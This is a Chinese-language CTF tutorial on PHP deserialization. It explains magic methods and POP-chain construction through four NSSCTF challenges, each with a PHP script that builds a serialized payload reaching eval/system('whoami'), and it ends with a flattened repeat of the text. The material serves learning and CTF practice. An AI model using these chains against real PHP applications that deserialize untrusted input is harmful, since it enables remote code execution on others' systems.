PHP反序列化总结(POP链)
字数 1949 2025-08-22 12:23:12

PHP反序列化与POP链构造详解

前言

PHP反序列化是CTF比赛中常见的题型,也是代码审计中的重要板块。通过反序列化操作,攻击者可以执行恶意命令,获取shell或其他权限。本文将详细讲解PHP反序列化中POP链的构造方法。

前置知识:PHP魔术方法

魔术方法是PHP面向对象中特有的特性,以双下划线开头,在特定情况下自动触发。以下是POP链构造中常见的魔术方法:

  1. __wakeup():在反序列化时自动调用
  2. __destruct():对象被销毁时自动调用
  3. __toString():对象被当做字符串处理时调用(如echo、==、preg_match()等)
  4. __call():调用不存在的方法时触发
  5. __get():访问不可访问属性时调用
  6. __set():给不存在的成员属性赋值时触发
  7. __invoke():对象被当做函数调用时触发

POP链构造思路

  1. 确定链尾:找到执行危险操作(如eval、system等)的类和方法
  2. 确定入口:通常是__wakeup__destruct方法
  3. 搭建桥梁:通过魔术方法的触发条件连接各个类

实例分析

案例1:三类的简单POP链

题目来源:NSSCTF 5816

类结构

  1. step0ne(入口类,含__destruct
  2. steptw0(桥梁类,含__toString
  3. stepthr33(链尾类,含__call和eval)

POP链构造

  1. step0ne::__destruct -> 将$Manbo赋值为steptw0实例
  2. 触发steptw0::__toString -> 将$zabuzabu赋值为stepthr33实例
  3. 调用不存在方法manbo() -> 触发stepthr33::__call
  4. 执行eval中的命令

EXP

<?php
class step0ne {
    public $Manbo;
}

class steptw0 {
    public $zabuzabu;
}

class stepthr33 {
    public $hajimi = "system('whoami');";
}

$obj = new step0ne();
$obj->Manbo = new steptw0();
$obj->Manbo->zabuzabu = new stepthr33();

echo serialize($obj);
?>

案例2:使用__get__set的POP链

题目来源:NSSCTF 5819

类结构

  1. step0ne(入口类,含__destruct
  2. steptw0(桥梁类,含__get__set
  3. stepthr33(链尾类,含__call

POP链构造

  1. step0ne::__destruct -> 将$nl赋值为steptw0实例
  2. 访问不存在的base64属性 -> 触发steptw0::__get
  3. 给不存在的tail属性赋值 -> 触发steptw0::__set
  4. 调用不存在方法 -> 触发stepthr33::__call

EXP

<?php
class step0ne {
    public $nl;
}

class steptw0 {
    public $tail;
}

class stepthr33 {
    public $hajimi = "system('whoami');";
}

$obj = new step0ne();
$obj->nl = new steptw0();
$obj->nl->tail = new stepthr33();

echo serialize($obj);
?>

案例3:五类的复杂POP链

题目来源:NSSCTF 5807

类结构

  1. step0ne(入口类,含__destruct
  2. steptw0(桥梁类1,含__toString
  3. stepthr33(桥梁类2)
  4. stepf0ur(桥梁类3,含__set
  5. stepfinall(链尾类,含__call

POP链构造

  1. step0ne::__destruct -> 赋值触发steptw0::__toString
  2. steptw0::__toString -> 连接stepthr33
  3. stepthr33 -> 连接stepf0ur
  4. stepf0ur::__set中的方法调用 -> 触发stepfinall::__call

EXP

<?php
class step0ne {
    public $Manbo;
}

class steptw0 {
    public $zabuzabu;
}

class stepthr33 {
    public $nainiu;
}

class stepf0ur {
    public $nainiu;
}

class stepfinall {
    public $hajimi = "system('whoami');";
}

$obj = new step0ne();
$obj->Manbo = new steptw0();
$obj->Manbo->zabuzabu = new stepthr33();
$obj->Manbo->zabuzabu->nainiu = new stepf0ur();
$obj->Manbo->zabuzabu->nainiu->nainiu = new stepfinall();

echo serialize($obj);
?>

案例4:六类的复杂POP链(SWPUCTF 2024)

题目来源:NSSCTF 5945

类结构

  1. 眼见喜(入口类,含__wakeup
  2. 耳听怒(桥梁类1,含__invoke
  3. 鼻嗅爱(桥梁类2,含__toString
  4. 舌尝思(桥梁类3)
  5. 身本忧(桥梁类4)
  6. 意见欲(链尾类,含__call

POP链构造

  1. 眼见喜::__wakeup -> 满足条件触发耳听怒::__invoke
  2. 耳听怒::__invoke -> echo触发鼻嗅爱::__toString
  3. 鼻嗅爱::__toString -> 连接身本忧
  4. 身本忧调用不存在方法 -> 触发意见欲::__call

特殊处理

  • 私有属性问题:高版本PHP可忽略访问性,或改为public
  • 引用绕过:$亢金龙 = &$定风珠

EXP

<?php
class 眼见喜 {
    public $幽魂;
}

class 耳听怒 {
    public $黄风大圣;
}

class 鼻嗅爱 {
    public $定风珠 = '落地';
    public $亢金龙;
    
    public function __construct() {
        $this->亢金龙 = &$this->定风珠;
    }
}

class 身本忧 {
    public $夜叉;
    public $左轮;
}

class 意见欲 {
    public $hajimi = "system('whoami');";
}

$obj = new 眼见喜();
$obj->幽魂 = new 耳听怒();
$obj->幽魂->黄风大圣 = new 鼻嗅爱();
$obj->幽魂->黄风大圣->黄风大圣 = new 身本忧();
$obj->幽魂->黄风大圣->黄风大圣->夜叉 = new 意见欲();

echo serialize($obj);
?>

总结

  1. 快速定位:先找链尾(危险函数)和入口(__wakeup/__destruct
  2. 魔术方法串联:根据触发条件连接各个类
  3. 条件绕过:注意类中的条件判断,使用引用等技术绕过
  4. 属性访问:处理私有属性问题(改为public或使用高版本PHP特性)
  5. 简洁构造:变量越少越好,提高可读性和可维护性

通过大量练习和总结,可以熟练掌握POP链的构造技巧,应对各种反序列化题目。

PHP反序列化与POP链构造详解 前言 PHP反序列化是CTF比赛中常见的题型,也是代码审计中的重要板块。通过反序列化操作,攻击者可以执行恶意命令,获取shell或其他权限。本文将详细讲解PHP反序列化中POP链的构造方法。 前置知识:PHP魔术方法 魔术方法是PHP面向对象中特有的特性,以双下划线开头,在特定情况下自动触发。以下是POP链构造中常见的魔术方法: __wakeup() :在反序列化时自动调用 __destruct() :对象被销毁时自动调用 __toString() :对象被当做字符串处理时调用(如echo、==、preg_ match()等) __call() :调用不存在的方法时触发 __get() :访问不可访问属性时调用 __set() :给不存在的成员属性赋值时触发 __invoke() :对象被当做函数调用时触发 POP链构造思路 确定链尾 :找到执行危险操作(如eval、system等)的类和方法 确定入口 :通常是 __wakeup 或 __destruct 方法 搭建桥梁 :通过魔术方法的触发条件连接各个类 实例分析 案例1:三类的简单POP链 题目来源 :NSSCTF 5816 类结构 : step0ne(入口类,含 __destruct ) steptw0(桥梁类,含 __toString ) stepthr33(链尾类,含 __call 和eval) POP链构造 : step0ne::__destruct -> 将$Manbo赋值为steptw0实例 触发 steptw0::__toString -> 将$zabuzabu赋值为stepthr33实例 调用不存在方法 manbo() -> 触发 stepthr33::__call 执行eval中的命令 EXP : 案例2:使用 __get 和 __set 的POP链 题目来源 :NSSCTF 5819 类结构 : step0ne(入口类,含 __destruct ) steptw0(桥梁类,含 __get 和 __set ) stepthr33(链尾类,含 __call ) POP链构造 : step0ne::__destruct -> 将$nl赋值为steptw0实例 访问不存在的base64属性 -> 触发 steptw0::__get 给不存在的tail属性赋值 -> 触发 steptw0::__set 调用不存在方法 -> 触发 stepthr33::__call EXP : 案例3:五类的复杂POP链 题目来源 :NSSCTF 5807 类结构 : step0ne(入口类,含 __destruct ) steptw0(桥梁类1,含 __toString ) stepthr33(桥梁类2) stepf0ur(桥梁类3,含 __set ) stepfinall(链尾类,含 __call ) POP链构造 : step0ne::__destruct -> 赋值触发 steptw0::__toString steptw0::__toString -> 连接stepthr33 stepthr33 -> 连接stepf0ur stepf0ur::__set 中的方法调用 -> 触发 stepfinall::__call EXP : 案例4:六类的复杂POP链(SWPUCTF 2024) 题目来源 :NSSCTF 5945 类结构 : 眼见喜(入口类,含 __wakeup ) 耳听怒(桥梁类1,含 __invoke ) 鼻嗅爱(桥梁类2,含 __toString ) 舌尝思(桥梁类3) 身本忧(桥梁类4) 意见欲(链尾类,含 __call ) POP链构造 : 眼见喜::__wakeup -> 满足条件触发 耳听怒::__invoke 耳听怒::__invoke -> echo触发 鼻嗅爱::__toString 鼻嗅爱::__toString -> 连接身本忧 身本忧 调用不存在方法 -> 触发 意见欲::__call 特殊处理 : 私有属性问题:高版本PHP可忽略访问性,或改为public 引用绕过: $亢金龙 = &$定风珠 EXP : 总结 快速定位 :先找链尾(危险函数)和入口( __wakeup / __destruct ) 魔术方法串联 :根据触发条件连接各个类 条件绕过 :注意类中的条件判断,使用引用等技术绕过 属性访问 :处理私有属性问题(改为public或使用高版本PHP特性) 简洁构造 :变量越少越好,提高可读性和可维护性 通过大量练习和总结,可以熟练掌握POP链的构造技巧,应对各种反序列化题目。